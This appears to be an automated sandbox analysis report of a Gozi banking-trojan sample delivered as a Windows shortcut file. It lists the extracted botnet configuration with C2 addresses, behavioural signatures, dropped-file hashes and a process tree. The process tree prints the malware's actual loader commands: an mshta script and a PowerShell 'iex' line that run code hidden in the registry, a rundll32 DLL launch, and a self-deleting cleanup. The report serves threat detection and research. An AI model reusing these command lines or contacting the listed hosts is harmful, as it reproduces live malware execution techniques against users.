Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    15/12/2022, 17:16

General

  • Target
    VV.lnk
  • Size 1KB
  • Sample221215-vs55wsfh2s
  • SHA256 9c6ce72957b412592a5c8d7d0324a53f2a7a77ca94773549494aecf18c83d050
  • MD5 SHA1 SHA512

Malware Config

Extracted

Family
  • gozi

Extracted

Family
  • gozi

Botnet
  • 50000

C2
  • http://confisg.edges.skype.com

  • http://108.61.165.145

  • http://37.120.222.23

  • http://194.76.224.234

  • http://176.10.111.47

Attributes
  • base_path

    /grome/

  • build

    250249

  • exe_type

    loader

  • extension

    .chk

  • server_id

    50

rsa_pubkey.plain
aes.plain

Extracted

Family
  • gozi

Botnet
  • 50000

C2
  • https://confisg.edges.skype.com

  • http://108.61.165.145

  • http://37.120.222.23

  • http://79.132.128.146

  • http://176.10.119.229

  • http://176.10.111.45

  • http://79.132.128.151

  • http://176.10.111.47

Attributes
  • base_path

    /grome/

  • build

    250249

  • exe_type

    worker

  • extension

    .chk

  • server_id

    50

rsa_pubkey.plain
aes.plain

Signatures

  • Gozi

    Gozi is a well-known and widely distributed banking trojan.

  • Executes dropped EXE 1 IoCs
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Suspicious use of SetThreadContext 7 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: MapViewOfSection 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 13 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 51 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: MapViewOfSection
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3048
    • C:\Windows\system32\cmd.exe
      cmd /c C:\Users\Admin\AppData\Local\Temp\VV.lnk
      2⤵
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:4572
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\SysWOW64\cmd.exe" /q /c staunch\registrants.cmd
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4344
        • C:\Windows\SysWOW64\replace.exe
          replace C:\Windows\\System32\\RunDlL32.eXe C:\Users\Admin\AppData\Local\Temp /A
          4⤵
            PID:5104
          • C:\Users\Admin\AppData\Local\Temp\rundll32.exe
            RunDlL32.eXe staunch\\fizzy.sql,DllRegisterServer
            4⤵
            • Executes dropped EXE
            • Suspicious behavior: EnumeratesProcesses
            PID:5056
      • C:\Windows\System32\mshta.exe
        "C:\Windows\System32\mshta.exe" "about:<hta:application><script>P5xm='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(P5xm).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\B71B76B4-AA45-0139-6CDB-7EC5603F92C9\\\PackMark'));if(!window.flag)close()</script>"
        2⤵
        • Checks computer location settings
        • Suspicious use of WriteProcessMemory
        PID:3656
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name conngv -value gp; new-alias -name quqndusqn -value iex; quqndusqn ([System.Text.Encoding]::ASCII.GetString((conngv "HKCU:Software\AppDataLow\Software\Microsoft\B71B76B4-AA45-0139-6CDB-7EC5603F92C9").ToolPaper))
          3⤵
          • Suspicious use of SetThreadContext
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious behavior: MapViewOfSection
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:3548
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
            "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\pufs1fe2\pufs1fe2.cmdline"
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:3484
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
              C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES877B.tmp" "c:\Users\Admin\AppData\Local\Temp\pufs1fe2\CSC9F616FBC3D5F4E8BBC33A9BC7D4CE6A0.TMP"
              5⤵
                PID:4936
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
              "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\pcksktig\pcksktig.cmdline"
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:4196
              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES88D2.tmp" "c:\Users\Admin\AppData\Local\Temp\pcksktig\CSCD3201F193BA84C02B43CCAB3711A970.TMP"
                5⤵
                  PID:2468
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\Admin\AppData\Local\Temp\staunch\fizzy.sql"
            2⤵
            • Suspicious use of SetThreadContext
            • Suspicious behavior: MapViewOfSection
            • Suspicious use of WriteProcessMemory
            PID:1316
            • C:\Windows\system32\PING.EXE
              ping localhost -n 5
              3⤵
              • Runs ping.exe
              • Suspicious behavior: CmdExeWriteProcessMemorySpam
              PID:1056
          • C:\Windows\syswow64\cmd.exe
            "C:\Windows\syswow64\cmd.exe" /C pause dll mail, ,
            2⤵
              PID:4904
          • C:\Windows\System32\RuntimeBroker.exe
            C:\Windows\System32\RuntimeBroker.exe -Embedding
            1⤵
              PID:3412
            • C:\Windows\System32\RuntimeBroker.exe
              C:\Windows\System32\RuntimeBroker.exe -Embedding
              1⤵
                PID:4896
              • C:\Windows\System32\RuntimeBroker.exe
                C:\Windows\System32\RuntimeBroker.exe -Embedding
                1⤵
                  PID:3840

                Network

                      MITRE ATT&CK Enterprise v6

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                      Downloads

                      RES877B.tmp

                      • Path C:\Users\Admin\AppData\Local\Temp\RES877B.tmp
                      • Size 1KB
                      • SHA256 5b2b0ec5234a56708af8969909d1d56b7a422d03b88c59d590995c18e46fd403
                      • MD5 SHA1 SHA512

                      RES88D2.tmp

                      • Path C:\Users\Admin\AppData\Local\Temp\RES88D2.tmp
                      • Size 1KB
                      • SHA256 f5d47a297f56b6af3a54c5f933f7ee6de2763084568fdbb4510edec365429d70
                      • MD5 SHA1 SHA512

                      pcksktig.dll

                      • Path C:\Users\Admin\AppData\Local\Temp\pcksktig\pcksktig.dll
                      • Size 3KB
                      • SHA256 297b90fb80b406d3718fd9025c8935f770ba5d06789c7c427567ccc75689aad3
                      • MD5 SHA1 SHA512

                      pufs1fe2.dll

                      • Path C:\Users\Admin\AppData\Local\Temp\pufs1fe2\pufs1fe2.dll
                      • Size 3KB
                      • SHA256 f8943703c8f1b03582b4c80335e16a7de0c7241f427c0bbfce17fdd5501878c8
                      • MD5 SHA1 SHA512

                      rundll32.exe

                      • Path C:\Users\Admin\AppData\Local\Temp\rundll32.exe
                      • Size 60KB
                      • SHA256 6cbe0e1f046b13b29bfa26f8b368281d2dda7eb9b718651d5856f22cc3e02910
                      • MD5 SHA1 SHA512 SSDEEP

                      rundll32.exe

                      • Path C:\Users\Admin\AppData\Local\Temp\rundll32.exe
                      • Size 60KB
                      • SHA256 6cbe0e1f046b13b29bfa26f8b368281d2dda7eb9b718651d5856f22cc3e02910
                      • MD5 SHA1 SHA512 SSDEEP

                      CSCD3201F193BA84C02B43CCAB3711A970.TMP

                      • Path \??\c:\Users\Admin\AppData\Local\Temp\pcksktig\CSCD3201F193BA84C02B43CCAB3711A970.TMP
                      • Size 652B
                      • SHA256 05b2f926ab01803e87cfa1e1318e2c30b9ffd6b0426ed19f2a82d60d56e5486a
                      • MD5 SHA1 SHA512

                      pcksktig.0.cs

                      • Path \??\c:\Users\Admin\AppData\Local\Temp\pcksktig\pcksktig.0.cs
                      • Size 408B
                      • SHA256 0388c68b7b848cb08941edbfe4bcaa8f6df3c461df1c9a7542103e279f64c5f9
                      • MD5 SHA1 SHA512

                      pcksktig.cmdline

                      • Path \??\c:\Users\Admin\AppData\Local\Temp\pcksktig\pcksktig.cmdline
                      • Size 369B
                      • SHA256 e35d299243870e23928a8ddc9792db4cfa9207ce009b74f29f5593cac719ec52
                      • MD5 SHA1 SHA512

                      CSC9F616FBC3D5F4E8BBC33A9BC7D4CE6A0.TMP

                      • Path \??\c:\Users\Admin\AppData\Local\Temp\pufs1fe2\CSC9F616FBC3D5F4E8BBC33A9BC7D4CE6A0.TMP
                      • Size 652B
                      • SHA256 7466120f8f601a891cb98b83c830ebe0437c0e72fb43e395b2332aed40405351
                      • MD5 SHA1 SHA512

                      pufs1fe2.0.cs

                      • Path \??\c:\Users\Admin\AppData\Local\Temp\pufs1fe2\pufs1fe2.0.cs
                      • Size 408B
                      • SHA256 adea20d896d1565230e0799ac1e5e14719062ce0e00080c412222a98bddcadcb
                      • MD5 SHA1 SHA512

                      pufs1fe2.cmdline

                      • Path \??\c:\Users\Admin\AppData\Local\Temp\pufs1fe2\pufs1fe2.cmdline
                      • Size 369B
                      • SHA256 d1a654c9c00e8145a21cb6230c3e2173eaafca3e0fa7ba241d8de0e54a9523ad
                      • MD5 SHA1 SHA512

                      memory/1056-171-0x0000020E04210000-0x0000020E042B2000-memory.dmp

                      memory/1316-170-0x000001866F800000-0x000001866F8A2000-memory.dmp

                      memory/3048-167-0x0000000007D30000-0x0000000007DD2000-memory.dmp

                      memory/3048-174-0x0000000007D30000-0x0000000007DD2000-memory.dmp

                      memory/3412-165-0x0000015951E40000-0x0000015951EE2000-memory.dmp

                      memory/3548-145-0x0000026FECAF0000-0x0000026FECB12000-memory.dmp

                      memory/3548-162-0x0000026FEE460000-0x0000026FEE49C000-memory.dmp

                      memory/3548-146-0x00007FFED94A0000-0x00007FFED9F61000-memory.dmp

                      memory/3548-161-0x00007FFED94A0000-0x00007FFED9F61000-memory.dmp

                      memory/3840-166-0x0000016A47180000-0x0000016A47222000-memory.dmp

                      memory/4896-168-0x00000264ADCB0000-0x00000264ADD52000-memory.dmp

                      memory/4904-172-0x0000000000DB6B20-0x0000000000DB6B24-memory.dmp

                      memory/4904-173-0x0000000000A90000-0x0000000000B26000-memory.dmp

                      memory/5056-140-0x0000000002830000-0x000000000283D000-memory.dmp

                      memory/5056-139-0x0000000000DD0000-0x0000000000DD6000-memory.dmp

                      memory/5056-137-0x0000000000400000-0x0000000000494000-memory.dmp